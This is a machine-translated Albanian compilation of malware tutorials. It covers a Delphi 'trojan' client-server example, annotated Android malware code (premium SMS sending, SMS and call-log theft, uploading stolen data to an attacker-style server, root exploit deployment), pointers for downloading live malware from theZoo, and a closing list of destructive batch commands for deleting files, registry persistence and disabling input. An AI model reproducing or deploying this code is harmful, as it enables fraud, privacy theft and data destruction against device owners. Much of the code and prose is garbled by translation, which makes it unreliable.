Mostrat e viruseve me kodin burimor. Mostrat e viruseve me kodin burimor ku të kërkoni kodin e virusit

Nëse jeni të interesuar të shihni se si është shkruar "programi i serverit-klient" dhe se si punojnë në një shembull të vërtetë, unë propozoj të lexoj postin deri në fund. Do të jetë interesante!

Programi shembull kam vendosur të shkruaj në Delphi! Meqë është më e lehtë dhe e përshtatshme për një shembull të vogël, por të vërtetë. Sa për fjalën e tmerrshme "" të cilën e përmenda më lart, atëherë, me të vërtetë ndodh, troyan më e vërtetë, por me funksionalitet të vogël dhe të padëmshëm.

Ju do të mësoni se si është shkruar parimi " "Dhe si punojnë nga brenda! Por, ka një "por" Troyans nuk shkruajnë, siç do të përshkruhet më poshtë. Që në shembullin tonë, " Server"Pjesa e programit do të peshojë shumë ( Kjo nuk është e pranueshme për trojanin e vërtetë), Dhe ne nuk do ta fshehim atë në sistem. Në të vërtetë, gjërat "malware" janë pak më ndryshe.

Pjesa e serverit të programit po përpiqet të zhvillohet me një madhësi të vogël, mirë, përafërsisht "100 KB" plus - minus sa KB. Dhe fshehin atë në sistem, kështu që ju duhet të shikoni për një kohë të gjatë! ...

Por gjithçka është e qetë, parimi i zhvillimit është një! Dhe ky shembull është ideal për të kuptuar se si punoj në parimin "Server-Client", thjesht nuk kemi tonin e duhur të zhvillimit të Trojan, dhe ne kemi nevojë për të? Të drejtë. Jo !!! Ne jemi djem të mirë dhe nuk do të huligan!

Si të punoni në parimin "Server - Client"

Thjesht dhe në dy fjalë, fotografia duket kështu: ju drejtuar në kompjuterin tuaj " Konsumator"Pjesë e programit, si rregull, ajo ka një" GUI "që është, ndërfaqja e përdoruesit (nëse klienti nuk është konsol)

Në kompjuter për të cilin dëshironi të hyni, fillon " Server»Pjesë e programit, gjithashtu hap një port të caktuar në kompjuterin e dikujt tjetër dhe nuk është i dukshëm në sistem.

Nëpërmjet këtij porti, lidhjet janë të lidhura, ju në klientin specifikoni portin dhe kompjuterin kompjuterik, në të cilin serveri po kandidon, lidheni me serverin dhe mund të kryeni në mënyrë të sigurt disa veprime në kompjuterin e dikujt tjetër nga kompjuteri juaj! Ju ende mund të lexoni postin tim të fundit dhe të gjeni:

Unë shpresoj se këtu shpjegohet, duket se është e kuptueshme dhe një gjuhë e thjeshtë njerëzore! Nëse diçka nuk është e qartë, atëherë, në shembull, gjithçka do të bëhet e qartë! Tjetra, le të vendosim se cilat veprime do të kryhen në një PC të largët për shkak të punës së Trojanit tonë të vogël!

Çfarë funksionaliteti në këtë shembull të serverit të programit është një klient.

Për të qenë i sinqertë, në këtë fazë, kur mendova se unë do të ëndërroja disi dhe jo se si nuk mund të dilja me diçka interesante! Në përgjithësi, le të jetë një funksionalitet nga një mundësi dhe deri në përplasjen e thjeshtë:

- Përdoruesi do të marrë mesazhin tuaj.

Unë nuk e shoh pikën e shtimit të disa veçorive të tjera. Meqë mendoj se për një shembull dhe kuptim të kësaj është mjaft mjaft. Gjithashtu, unë mendoj, ju nuk duhet të shkruani shumë kod, fakti që është më poshtë, e njëjta është e mjaftueshme për të parë programin nga brenda!

Dhe për vendin një mesazh mund të jetë gjithçka, varet nga fantazia e një personi që vendosi të shkruajë një trojan dhe nga njohuria e tij në programim.

Epo, ne do të kemi një shaka të tillë! Njeriu i ulur në një kompjuter do të marrë papritmas një mesazh, për shembull

« Hi, unë jam një i ndyrë për kompjuterin tuaj»

përfaqësojnë reagimin e një personi? Unë mendoj se është qesharake, do të ishte për të parë shprehjen e tij të fytyrës !!!

Zhvillimi i programit në parimin "Server - Client"

Filloni më interesante! Dhe ne do të fillojmë me zhvillimin e " Server"Pas kësaj ne do të shkruajmë një klient nën të! Unë nuk do të shpjegoj kodin e programit, thjesht, unë do të jap shembuj, por unë nuk kam një blog programimi, dhe qëllimi i postimit tregojnë procesin e fazuar të zhvillimit të programeve të tilla sipas llojit "server - klient"

Zhvillimi i serverit!

Fillimisht, ju duhet të mësoni "serverin" për të hapur një port në kompjuterin tuaj, në mënyrë që të jeni në gjendje të lidheni me të nga "klienti" dhe pasi të mësoni ekipet dhe të kryeni disa veprime në PC.

Ne do të hapim portin si më poshtë, gjë që është e thjeshtë për dhimbje:

Delphi / Pascal

procedura Torm1.Formcreate (dërgues: TURCT); Filloni serversocket1.port: \u003d 666; Serversocket1.active: \u003d Vërtetë; fund;

procedura Torm1. Formcreate (Sender: TURCT);

filloni.

Serversocket1. Port: \u003d 666;

Serversocket1. Aktive: \u003d Vërtetë;

fund;

Tani, nëse e drejtuar programin thjesht, një dritare të zbrazët pa asnjë buton dhe elemente të tjera. Dhe më e rëndësishmja, porti do të hapet në kompjuter me numrin "666" që ky port më vonë do të dërgojë komanda në server, dhe nga ana tjetër do t'i përpunojë ato.

Ndërkohë, sigurohuni që serveri punon dhe porti është i hapur, mbani mend komandën e Netstat dhe shikoni rezultatin.

Siç mund ta shohim në kompjuter, si rezultat i fillimit të programit tonë, porti me numrin "666" është hapur vetëm nga rim, programi punon, dhe është koha për të mësuar " Server»Merrni një mesazh.

Delphi / Pascal

procedura Torm1.serverSocket1ClientRead (Sender: TURCTECT; Socket: tcustomwinocket); Var komm: varg; Filloni Komm: \u003d Socket.receveText; Nëse kopja (KOMM, 1,12) \u003d "Message_Text" pastaj filloni të fshini (KOMM, 1, 12); ShowMessage (KOMM); fund; fund;

procedura Torm1. Serversocket1ClientRead (Sender: Tobject;

Socket: tcustomwinetocket);

komm: varg;

Filloni.

komm: \u003d Socket. Recevetext;

nëse kopjoni (KOMM, 1, 12) \u003d "Message_Text" pastaj

filloni.

Fshij (KOMM, 1, 12);

ShowMessage (KOMM);

fund;

fund;

Gjërat e mëposhtme janë këto! Nëse serveri vjen me emrin "Message_Text" ( Emri mund të jetë ndonjë) Pastaj procedura "ShowMessage" do të punojë dhe do të tregojë një mesazh që erdhi me komandën dhe të ruhet në ndryshoren e vargut të KOMM

Prandaj, mesazhi i tekstit do të shtypet në " Klient"Dhe ai mund të jetë çdo përmbajtje!

Në çështje të tjera, në këtë zhvillim " Server"Pjesët janë përfunduar. Si rezultat, kemi një skedar " Server.exe."Dhe ndërsa unë do ta shtyj atë mënjanë deri atëherë nuk shkruani" Klient»

Zhvillimi i klientit!

Ne do të kemi një klient për arsye të dukshme me një ndërfaqe të përdoruesit grafik (GUI) dhe duhet të ketë kontrolle, butona dhe fusha të futjes. Kam marrë këtë lloj programi:

Vendosni me të gjitha elementet! Edhe pse ata janë të kuptuar kështu, siç thonë ata, vetëm në rast se unë do të shpjegoj.

Ip: Fushat për të hyrë në ipcomature, ku serveri po kandidon.
Port.: Tregoni numrin e portit në të cilin varet serveri.
- Lidhu: Butoni për lidhjen me serverin.
- Mesazhi i tekstit: Mesazhi i hyrjes në terren që dëshironi të dërgoni.
- Dergo nje mesazh…: Respektivisht butoni për të dërguar një mesazh.
- Statusi i lidhjes: Këtu do të zbulojmë, të lidhur ose jo!

Delphi / Pascal

procedura Torm1.Button1Click (Sender: TURCT); filloni clientsocket.host:\u003d ip.text; Clientsocket.port: \u003d strtoint (port.text); Clientsocket.open; fund;

procedura Torm1. Button1Click (Sender: Twject);

filloni.

Clientsocket. HOST: \u003d IP. Tekst;

Clientsocket. Port: \u003d strtoint (port. Tekst);

Clientsocket. Hapur;

fund;

Ju tashmë mund të drejtoni programin dhe të përpiqeni të lidheni me " Server"Por ne nuk e njohim rezultatin, të lidhur apo jo. Para se të kontrolloni, korrigjoni këtë dhe mësoni programin për të treguar rezultatin e lidhjes.

Delphi / Pascal

procedura Torm1.ClientsOlegleconnect (Sender: Timect; Socket: tcustomwinocket); filloni label4.caption: \u003d ("arriti të lidhet me:" + ip.text); Label4.font.color: \u003d Clgreen; fund;

Dhe në rast se të gjitha rrymat nuk arritën të lidhen me serverin, për shembull, sepse Server"Në PC të largët nuk është nisur dhe, përkatësisht, porti" 666 "është i mbyllur.

Delphi / Pascal

Procedura Tford1.ClientSectError (Sender: TeBject; Socket: TCustomwinetocket; errorevent: terrorrevent; var Gabtcode: numër i plotë); Filloni nëse ErrorCode \u003d 10061 pastaj filloni clientsocket.active: \u003d false; Label4.font.color: \u003d Clred; Label4.Caption: \u003d ("Fauluspilpod-conneuines:" + ip.text); ErrorCode: \u003d 0; fund; fund;

procedura Torm1. ClientSectionError (Sender: TEBJECT; Socket: tcustomwinocket;

Errorevent: terrorrevent; VAR ERRORCODE: Integer);

filloni.

Nëse ErrorCode \u003d 10061 atëherë

filloni.

Clientsocket. Aktive: \u003d False;

Etiketë4. Font. Ngjyra: \u003d Clred;

Etiketë4. Titulli: \u003d ( "Contepenecks Faulufileproof:"+ IP. Tekst);

ErrorCode: \u003d 0;

fund;

fund;

Tani shohim se si funksionon programi. Për të filluar, ju nisni klientin, por mos e përdorni serverin për të kontrolluar nëse do të shfaqet se do të lidhet, dështoi.

Në mbledhjen e aplikacioneve me qëllim të keq Android, disa laboratorë antivirus kanë përmbajtur tashmë më shumë se 10 milionë mostra. Kjo figurë e ngacmon imagjinatën, por rreth 9 milionë 995 mijë prej tyre riemërohen kopjet e viruseve origjinale. Por nëse analizoni kodin burimor të mostrave të mbetura disa mijëra Malvari, atëherë mund të vërehet se të gjithë ata janë të kombinuar nga një numër i vogël i blloqeve unike funksionale (disa të modifikuara dhe të kombinuara ndryshe).

Gjëja është se virmerisikuesit më shpesh ndjekin detyra shumë të parëndësishme:

  • dërgoni esemis në një numër të paguar;
  • të marrë në posedim informacione konfidenciale të përdoruesve (numrat e telefonit, tekstet e mesazhit, të dhënat nga një kartë SD dhe kështu me radhë);
  • mblidhni të dhëna për një pajisje të infektuar;
  • të marrë në posedim të drejta administrative në pajisje (për të instaluar aplikacione pa leje nga pronari ose për heqjen me qëllim të keq të pajisjes);
  • track Logins, fjalëkalimet dhe të dhënat e kartës së pagesës që përdoruesi hyn në sistemet bankare në internet. Si e bëjnë këtë? Le të përpiqemi të depërtojmë në botën e zymtë të Mobile Virmeking dhe të shohim se çfarë po ndodh atje.

Dërgimi i SMS.

Kush përdor:

  • ADSMS;
  • FakePlayer;
  • Hipposms.

Lloji më i zakonshëm i viruseve janë SMS Troyans. Këto viruse thjesht dërgojnë mesazhe në dhoma të paguara pa pëlqimin e përdoruesit. Krijo një program të tillë ose rishkruaj numrin e nevojshëm është plotësisht e lehtë. Dhe procesi i marrjes së përfitimeve është thjesht i thjeshtuar - në të kundërt, për shembull, nga ndjekja e të dhënave të bankës.

Më poshtë është shembulli më i thjeshtë i kodit. Ky është një funksion fillestar që dërgon SMS. Mund të jetë e komplikuar duke kontrolluar statusin e dërgimit, zgjedhjen e numrave në varësi të pozitës së pozitës së pajtimtarit dhe heqjes pasuese të SMS-ve.

SendSSMS Private Static (String Destnumber, STRING SMSTEXT) (// Përpjekje për të filluar metodën SMSManager Sendtextage (Programi standard për të dërguar SMS nga pajisja aktuale) me një numër minimal të parametrave: Numri i marrësit dhe provoni tekstin e mesazhit (smsmanager.getdefault (). SendtextMessage (destuball, , smstext, , null); kthim i vërtetë;))

Ku të kërkoni një kod të virusit

Në shumicën absolute të rasteve, infeksioni i telefonit ndodh përmes instalimit të aplikacioneve. Çdo aplikacion i Android ekziston në formën e një skedari me një shtrirje APK, e cila është në thelb një arkiv. Ju mund të shihni përmbajtjen e tij duke përdorur Android SDK, Converter Apk File në Jar dhe Decompiler Java-Byte-kod. Një Kuvend i Aplikimit (APK) përbëhet nga pjesët e mëposhtme:

  • resources.ARSC - Tabela e burimeve;
  • res (dosje) - në të vërtetë burimet (ikonat dhe të tjera);
  • Meta-inf (dosje) - përmban skedarë me përmbajtjen e mëposhtme: kontrolli i burimeve, certifikatën e aplikimit dhe përshkrimin e Kuvendit të APK-së;
  • Androidanifest.xml - të gjitha llojet e informacionit të shërbimit. Duke përfshirë lejen (lejen), të cilat kërkesat e aplikimit para instalimit për funksionimin e tij të saktë;
  • classes.dex - Ju ndoshta keni dëgjuar se në sistemet operative Android, të gjithë kodin kryhet duke përdorur makinë Virtual Dalvik (nga versioni 4.4. Mbështetja e artit është), e cila nuk e kupton kodin e zakonshëm Java-byte. Prandaj, ka skedarë me zgjatjen e Dex. Ajo, së bashku me klasat e nevojshme dhe të dobishme (të cilat janë përgjegjëse për funksionalitetin e aplikimit), gjithashtu përmban edhe me qëllim të keq (kodin viral që kuptojmë në këtë artikull).

Regjistrimi i informacionit të përdoruesit në një skedar teksti

Kush përdor:

  • Nickypy;
  • SMSSpy.

Ekziston një kategori e viruseve që gjuan për të dhënat personale të përdoruesit. Mekanizmi i veprimit të tyre është gjithashtu i lehtë. Ato ose janë ngarkuar në serverin e Krijuesit të tyre skedarët e përdoruesit, ose para-mbledhin ndonjë të dhënë në TXT (CSV, XML - jo thelbësisht). Interesi për sulmuesit mund të përfaqësojë kontaktet e çdo lloji, mesazhe nga të dërguarit e ndryshëm, skedarët e mediave dhe kështu me radhë.

Përdoruesit e kontaminuara SMS janë veçanërisht të vlefshme nga telefonat dhe numrat e telefonit të marrësve - ato mund të plotësohen me një bazë për postën e spamit. Më rrallë Viruset e këtij lloji përdoren për të infektuar pajisjet e personaliteteve specifike - herën tjetër kur vajza juaj do t'ju sugjerojë të provoni me shkrim (AH, Caramba! - përafërsisht. Ed.) Një aplikacion në Android, mos e humbni vigjilencën :).

// Ne e konsiderojmë numrin e SMS në arrayofobject \u003d (objekt) pajisje) localbundle.get ("PDUS"); int j \u003d arrayofobject.length; // shkoni rreth ciklit çdo SMS i \u003d 1 ndërsa (e vërtetë) (nëse (i\u003e \u003d j) pushim; // krijoni një mesazh smsmessage localsmessage \u003d smsmessage.createfrompdu ((byte) arrayofobject [I]); // Në vargun e vargut të variablave, teksti dhe koha e dërgimit të SMS String Messagenumber \u003d localsmsmessage.getoriginatingAddress (); strings MessageText \u003d localsmsmessage.getDisplayMessagebody (); Long l \u003d localsmsmessage.gettimesTampmillis (); \u003d New SimpleDateFormat ("YYYY-MM-DD HH: MM: SS"). Formati (locadate); // Formimi i linjës nga të dhënat e marra dhe shkruaj atë në skedarin e tekstit nga Writerec String MessageInfo \u003d 7messagenumber + "#" "+ MessageText +" # "+ MessageMedate +"; "WriterEc (paramacontext," sms.txt ", messageinfo); Shko në mesazhin e ardhshëm i + \u003d 1;) gjithashtu spaming është rimbushur në mënyrë të përshtatshme nga historia e parapaguesit Thirrjet. Ky kod mund të fillojë me një telefonatë hyrëse: nëse (parmintent.getaction (). Është e barabartë ("android.inttent.act.new_ointing_call")) (// vënë në numrin e ndryshores të vargut të parapaguesit Phonenenumber \u003d paramintent.getstringExtra (" android.intent. Extra.Phone_number "); // Ne formojmë një varg nga numri dhe data e unazës PhonecallRecord \u003d Phonenumber +" # "+ getsystemtime (); // Thirrni metodën WriterEC (kodi i tij është nuk është dhënë këtu), e cila shton një varg në një skedar teksti me historinë e thirrjes së shkrimit të shkruar (paramacontext, "phonecall.txt", phonecallrecord);)

Pas regjistrimit të informacionit, ajo rikrijohet në "duart e domosdoshme". Kodi më poshtë ngarkon historikun e thirrjes në server:

Private Void UploadPhoneCallhistory () hedh idexception (ndërsa (e vërtetë) (kthim; // duke kontrolluar nëse keni nevojë nëse keni nevojë nëse keni nevojë nëse keni nevojë (/data/data/spyapp.pg/files/phonecall.txt ") vazhdoni; // Krijo një objekt - shkarko skedarët Uploadfiles Localuploadfiles \u003d Ngarkesa e re (); string uploadkeyneode \u003d getkeyneode ("uid", "UID_V"); // drejtuar metodën .Advancedupploadfile (kodi i saj nuk është dhënë këtu) për të shkarkuar skedarin në virusceter Server localuploadfiles. AdvancedUploadfile (UploadKeyNode, "/ Të dhëna / të dhënave / SpyApp.pg / Files / PhoneCall.txt");))

Mbledhja e informacionit

Kush përdor:

  • Droidkungfu;
  • Droiddream;
  • shumica dërrmuese e Malvarit të gjitha të ngjashme.

Në parim, çdo informacion i dobishëm i virusit për pajisjet e infektuara me programet e saj. Merrni shumë të thjeshtë. Është krijuar një sërë të dhënash mbi pronat e telefonit (lista e tyre e plotë mund të shihet në manualin e zhvilluesit të Android-it) dhe të dërgohet me kërkesën postare në skenarin PHP (gjuha nuk është specifike) në serverin e sulmuesit, të dhënat proceset dhe vendos ato në bazën e të dhënave për përdorim të mëvonshëm.

Private Void raportuar (Int Paramint, String Paramstring) (// Krijo një grup dhe të vënë informacionin e shërbimit në lidhje me arraylist userinformation \u003d New Arraylist (); UserInformation.Add (i ri bazëNamevaluair ("IMEI", Kjo.MIMEI); UserInformation.Add ( Basicnamevaluepair i ri ("detyrë", this.mtaskid)); userinformation.add ("shtet", integer.Tostring (paramint))); // Nëse funksioni përcakton parametrin "Paramstring", të vënë në një grup dhe të tij nëse ( Paramstrng! \u003d null) && (! "." Barazuar (paramstring))) userinformation.add ("koment", paramstring); // Krijo një pyetje postare HTTP me një adresë skript, e cila mbledh httppost localhttpost \u003d httppost i ri ("http://search.virusxxxdomain.com:8511/search/rtpy.php"); Provoni (// shtoni grupin tonë në kërkesën me të dhëna dhe për të kryer atë duke përdorur standardin http client http localhttpost.Sttentiteti (URLENCODEFORMENTITETI I ri (UserInformation, UTF-8)))); defaulthttpclient i ri (). ekzekutuar (localhttppost) .getstatusline.getstatuscode (); Kthim; )

Rutinë

Kush përdor:

  • Droidkungfu;
  • Droiddream;
  • Rootsmart.

Një nga gjërat më të pakëndshme që mund të ndodhë me pajisjen Android është virusi i saj i kursit. Në fund të fundit, pas kësaj, programi me qëllim të keq mund të bëjë asgjë me të: të instaloni viruse të tjera, të ndryshojë cilësimet e harduerit. Kjo bëhet nga një nisje e vazhdueshme e shfrytëzimeve:

Rootfunc Private Void () (aplikimInfo LocationApplictionInfo \u003d getapplicationInfo (); / * "RATC" është një kopje e zemërimit të famshëm të rrënjës kundër kafazit. Kiall - Stop të gjitha proceset që konkurrojnë nga aplikacioni aktual. GJSVRO - Explant për blerjen e udev Të drejtat (të përdorura në sistemet Linux për ndërfaqe të zgjeruara të pajisjeve dhe rrjetit). E gjithë kjo është kopjuar në vendndodhjen e dëshiruar * / Utils.Copyassets (kjo, "RATC", "/ Të dhëna / të dhëna" + localapplictioninfo.packagename + "/ ratc") ; Shfrytëzon .Copyassets (kjo, "Killall", "/ të dhëna / të dhëna" + localapplictioninfo.packagename + "/ killall"); utils.copyassets (kjo, "gjsvro", "/ Të dhëna / të dhëna" + locacagePlictionInfo.packagename + " / gjsvro "); // dhe të drejtuar duke përdorur UTILS.Oldrun (" / System / bin / chmod "," 4755 /data/data"+localapplicationinfo.packagename + "/ ratc"); Utils.oldrun ("/ System / bin / chmod, "4755 /data/data"+localapplicationinfo.packagename +" / killall "); utils.oldrun (" / sistem / bin / chmod "," 4755 /data/data"+localapplicationinfo.packag Njohni + "/ gjsvro"); New MyTread.Start (); )

Faqet për Malvari

Kasperskiy Lab Ekspert Blog Ky burim përmban artikuj të kualitetit të lartë dhe të detajuar për shumë aspekte të sigurisë kompjuterike, duke përfshirë viruset e Android. Është e nevojshme që të vizitoni rregullisht këtë faqe për të mbajtur krah për krah të ngjarjeve të fundit.

Grupi është i dedikuar për mjetin me burim të hapur për të gjitha llojet e manipulimeve me kodin e aplikimit për Android (dekompilim dhe modifikim të skedarëve DEX / ODEX / APK dhe kështu me radhë). Androguard gjithashtu përmban një bazë të gjerë të artikujve rreth viruseve. Përveç rishikimeve të shkurtra të metodave të funksionalitetit dhe mbrojtjes, gjenden analiza të hollësishme të Kodit të Malvarit.


Seksioni i kërcënimeve të lëvizshme në www.fortiguard.com Enciklopedia e viruseve telefonike. Çdo artikull është një pasqyrë e funksionalitetit, e kalitur nga një numër i konsiderueshëm i detajeve teknike. Përveç informacionit rreth kërcënimeve për sistemin operativ Android, ka artikuj dhe për viruset për Symbian OS, iOS dhe platforma të tjera.


Mbrojtja kundër viruseve

Disa përdorues besojnë se nëse shkarkoni aplikacione ekskluzivisht nga Google Play dhe instaloni antivirus në telefonin tuaj të mençur, ajo absolutisht do të garanton siguri. Nuk është e nevojshme të përkushtohej: rrjeti shfaqet rregullisht mesazhe për gjetjen e Malvarit në tregun zyrtar. Dhe numri i programeve të sapoformuara me qëllim të keq maten me qindra mijëra në muaj, gjë që e bën të vështirë të hyjë në bazën e të dhënave të programeve antivirus. Një garanci e vërtetë e sigurisë mund të japë pamje manuale të kodit të skedarit APK para se ta instalosh në telefon. Nuk ka nevojë të jesh një gur i koduar për të njoftuar fragmente me qëllim të keq. Dhe artikulli ynë do t'ju ndihmojë me këtë.

Përfundim

Ndërsa shohim nga shembuj, kompleksiteti teknologjik i virhjeve celular nuk është i ndryshëm. Natyrisht, këta shembuj janë thjeshtuar nën formatin e revistës - Para së gjithash, trajtuesit e gabimeve dhe përdoruesit e përjashtimeve janë të humbura, si dhe trivia teknike individuale, mungesa e të cilave nuk do t'ju pengojë të kuptoni parimet e punës së Android- Malvari, por do t'i mbrojë ata nga eksperimente të panevojshme. Në fund të fundit, ne nuk e mbështesim krijimin e viruseve, apo jo? 🙂

Ku mund të shkarkoni mostrat e viruseve me kodin burimor dhe përshkrimin e detajuar?

Gjeni një koleksion të viruseve aktuale, dhe madje edhe më shumë me përshkrimin dhe kodin burimor, kjo nuk është detyrë e lehtë. Ne kemi thënë tashmë se ku të analizojmë dhe studiojmë. Sot unë do t'ju them një burim tjetër në të cilin mund të gjeni dhe shkarkoni, por këtë herë jo vetëm një makinë e vogël që gjendet në rrjet, por në dosjet ekzekutive dhe Burimet e viruseve me informacion të detajuar.

Në këtë artikull, ju do të mësoni për disa projekte interesante që ofrohen për të zhytet në botën e kodit origjinal të të gjitha llojeve të trojanëve, botnets, stillers, krimbave etj.

  • Parathënie
  • Burimet e viruseve
  • Projekti TheZoo
  • Malware projekt.

Pse dhe kush mund të jetë i nevojshëm mostrat e viruseve?

Dosjet e ekzekutueshme dhe burimet e viruseve mund të jenë të nevojshme për të analizuar teknologjitë e përdorura nga malware, për të studiuar sjelljen e viruseve në sistem (duke monitoruar sistemin e skedarëve, proceset) dhe testimin e antiviruseve. Punonjësit e kompanive anti-virus janë të gatshëm të paguajnë para për të marrë burime të një virusi të ri.

A është shkarkimi i viruseve ligjërisht?

Ju mund të shkarkoni mostrat e virusit për të studiuar dhe analizuar në kompjuterin tuaj, por për të shpërndarë dhe infektuar ato nga të tjerët - është e pamundur. Më shumë informacion në lidhje me këtë në nenin 273 të Kodit Penal.

Qëllimi i këtyre projekteve është që t'u japë kompanive antivirus dhe njerëzve të interesuar në analizën e viruseve, për të kuptuar kodin keqdashës të Malvarit.

Vëmendje! Mbani në mend se skedarët e shkarkuar janë viruse pune. Disa prej tyre do të përpiqen të infektojnë kompjuterin tuaj. Në asnjë rast mos filloni skedarët e shkarkuar në kompjuterin kryesor. Unë gjithashtu nuk rekomandoj shkarkimin e mostrave të viruse pa ndonjë njohuri të veçantë të analizës malware.

Sidoqoftë, faqja www.site nuk mban asnjë përgjegjësi për ndonjë dëm për kompjuterët tuaj dhe të huaj.

Unë rekomandoj me forcë përdorimin. Mos harroni për krimbat me qëllim të keq që do të përpiqet të përhapet dhe të mbarojë nga makina virtuale. Për të shmangur këtë, unë ju këshilloj që të çaktivizoni të gjitha makinat virtuale të mysafirëve, qasjen e rrjetit etj. Si ta bëni këtë ju mund të mësoni nga referenca e mësipërme.

Burimet e viruseve: Projekti Thezoo

Le të fillojmë shqyrtimin nga projekti Thezoo, i cili përkthehet si një kopsht zoologjik (me humor të autorëve gjithçka është në rregull). Ajo është e vendosur në republikën e githabit.

Qëllimi i projektit bën një të arritshëm për studimin e viruseve. Autorët mbledhin dhe përditësojnë bazën e të dhënave të viruseve. Me Thezoo, ju mund të hyni në mostrat popullore malware.

Mostrat e virusit: Projekti Thezoo

Për të shkarkuar dhe studiuar, ofrohen si skedarët e ekzekutueshëm dhe burimet.

Si të përdorni Thezoo?

Ju mund të përdorni projektin Thezoo në mënyra të ndryshme: të drejtë nga faqja ose duke përdorur një kornizë. Ne do të shohim në të dy mënyrat. Le të fillojmë me të parën.

Pra, shkoni në vend dhe shikoni disa drejtori dhe skedarë.

Kryen skedarët e virusit E vendosur në katalog:

thezoo / Malwares / binaries /

Në të do të gjeni një skedar të ekzekutueshëm të virusit. Për çdo individ të keq - një direktori të veçantë në të cilën janë vendosur 4 skedarë: Software me qëllim të keq në formë të koduar në arkivin ZIP, SHA256 dhe MD5 - arkivat e arkivit për krahasim dhe fjalëkalim për një arkiv të koduar.


Dosjet e ekzekutueshme të virusit: Trojan Androrat

Kodi burimor i viruseve E vendosur në katalog:

thezoo / Malwares / Burim / Original /

Çdo direktori ka katër skedarë të ngjashëm. Ende, si dhe me skedarët e ekzekutueshëm.


Burimet e virusit: Trojan Dendroid

Për çdo mostër individuale ka një referencë, por për të përdorur referencën për të instaluar kornizën.

Për të instaluar kornizën Thezoo, ne përdorim komandën:

git clone https://github.com/ytisf / thezoo

Kërkesat: urllib2, python3

Ekipet: Kërkimi, Përdorimi, Get, Info, Listoni të gjitha, Raporti-Mal, Update-DB, Dalja. Lexoni më shumë rreth komandave duke përdorur komandën e ndihmës.

Pra, me këtë projekt të kuptuar, tani e konsideroni një tjetër.

Mostrat e virusit: Projekti Malware

Projekti malware është gjithashtu i vendosur në Githab. Zgjedhja e viruseve nuk është aq e madhe sa në kopshtin zoologjik, por përditësohet më shpesh. Në mesin e numrit të vogël të programeve të padëmshme, është e mundur për të gjetur burimet e Trojan, botnets, zhvatës, stillers fjalëkalimi dhe të tjera "të mira".

Këtu është lista e datës:

  • Alina Spark (Troyan)
  • Bleeding Jeta 2 (Paketa expite)
  • Carberp (Botnet)
  • Carberp (Banka Trojan)
  • Krimfack 3.1.3 (shfrytëzoni AKP)
  • Dendroid (Trojan për Android)
  • Dexter v2 (trojan)
  • Eda2, stolich, win32.stolich (extortionist)
  • Flexispy (spyware)
  • (Kornizë)
  • Gmbot (Android Troyan)
  • GOZI-ISFB - (Banka Trojan)
  • Grum (spam bot)
  • HACKING TEAM RCS ()
  • Lot fshehur (zhvatës)
  • Kins (Trojan i Bankës)
  • Mirai (Botnet Internet i Gjërave)
  • Pony 2.0 (stumes fjalëkalimi)
  • Powerloader (botnet)
  • Rig Front-end (Explit Pack)
  • Rovnix (kovë)
  • Tinba (Banka Trojan)
  • Tinynuke (banka trojan)
  • Trochilus, redleaves (rat)
  • Zeus (Banka Trojan)

Kodi origjinal i virusit: Projekti Malware

Le të shkojmë në dosjen Alina Trojan. Këtu ne ofrojmë disa drejtori, ndër të cilat ka burime. Përveç kësaj, në pjesën e poshtme të autorëve shtuar lidhje me informacione me qëllim të keq.

këtu është gjykimi i ekipit
assoc .exe \u003d .mp3-drunks janë nisur si etiketë muzikore E: Vidhosja e ndryshimit të pridurokut në kohën ediot 00:00
data 13.03.36-Ndryshimi i datës Assoc .lnk \u003d .txt-ndryshuar shoots në kopjen e skedarit TCT% 0 f: \\ work.bat-kopjimi i objektit

1) një program për të fshirë skedarët nga një flash drive (nëse është futur) dhe riemërtoni atë.
del F: \\ *. * / Q
label F: Hack
2) një program për të ndryshuar datën dhe kohën në kompjuter dhe për të kopjuar atë në disk C dhe në flash drive USB.
koha 14:13
data 11.07.12
kopjo% 0 C: \\ Time.bat
kopjimi% 0 f: \\ kohë.bat
----------
\u003e NUL-fsheh komandën e vargut
% Systemroot% / System32 / rundll32 user32, SwapMouseButton-ndryshimin e çelësave të miut
---------------
kopjo "% 0" "% Systemroot% \\ System32 \\ file.bat»
reg Shto "HKLM \\ Software \\ Microsoft \\ Windows \\ CurrentVersion \\ drejtuar" / v "filel" / t reg_sz / d "Systemroot% \\ System32 \\ file.bat" / f
reg Shto HKCU \\ Software \\ Microsoft \\ Windows \\ CurrentVersion \\ Politikat \\ Explorer / V Nocontrolpanel / T Reg_Dword / D 1 / F
Komanda shumë brutale: shton një program në automatikun e OS.
"Del X: \\ y *. * / Q" - do të fshijë të gjitha skedarët në disk X në dosjen (përveç dosjes së dosjeve) (Shembull Del F: \\ Data *. * / Q);
"Përdoruesi neto" X "/ Add" do të shtojë në kompjuterin e përdoruesit nën emrin X (shembull i përdoruesit neto "tymosur" / add);
"@Echo off" futur në fillim të virusit tonë dhe fsheh gjithçka
user Rundll32, disableEeMlayer - Dështimi i sistemit (!) - Fikni të gjitha funksionet I / O (tastierë, ekran, miun). Si rezultat, do të ketë një ekran të zi me një kursor dhe pa sistem përgjigjeje, por Windows vazhdon të punojë.
dEL *. * / Q (pas fillimit të këtij komanda, të gjitha skedarët përveç dosjeve që ishin në dosjen ku filloi virusi do të humbasë !!!
mD 1-Krijimi i dosjeve
Për të nisur skedarin gjatë nisjes së dritareve, riemëroni skedarin në AutoExec.bat
Echo virus loading-mbishkrim në virus ekran Lodin
del C: Files Program / Q (fshin të gjitha skedarët nga kjo dosje)
reg është punë e drejtpërdrejtë me regjistrin. Shikoni reg /? Të gjitha!
rCP - Ndarja e skedarëve nëpërmjet RCP në ASCII
runas - në emër të përdoruesit
tasklist - tregon aplikacione dhe seanca të lidhura me të.
taskKill - ju lejon të plotësoni një ose më shumë procese
tFTP - FTP i parëndësishëm
tskill - vrasin procesin
reg - ndërmarrja e ndërveprimit me regjistrin
bootcfg - vendosja e boot.ini
appende - ju lejon të hapni skedarë të fshirë sikur të jenë në rrymën.
getmac - merrni mas
logoff - për të përfunduar sesionin e përdoruesit.
mEM - Prodhimi në ekranin e informacionit rreth proceseve aktuale në RAM
mQBKUP - Arkivimi
netsh - ??
openfiles - Shikoni skedarë të hapur.
rSH - komandat e ekzekutimit në nyjet e largëta me rush rsh
sC - Linja e komandës ??
rEXEC - komandat e ekzekutimit në nyjet e largëta me Running Rexec
shutdown - Turn off (hehe) kompjuter lokal ose të largët.
systemInfo - Konkluzion Info rreth Comp.
schtasks - Scheduler Job.
xCOPY - kopjoni skedarët dhe drejtoritë.
tsshutdn - përfundimi i serverit në mënyrën.
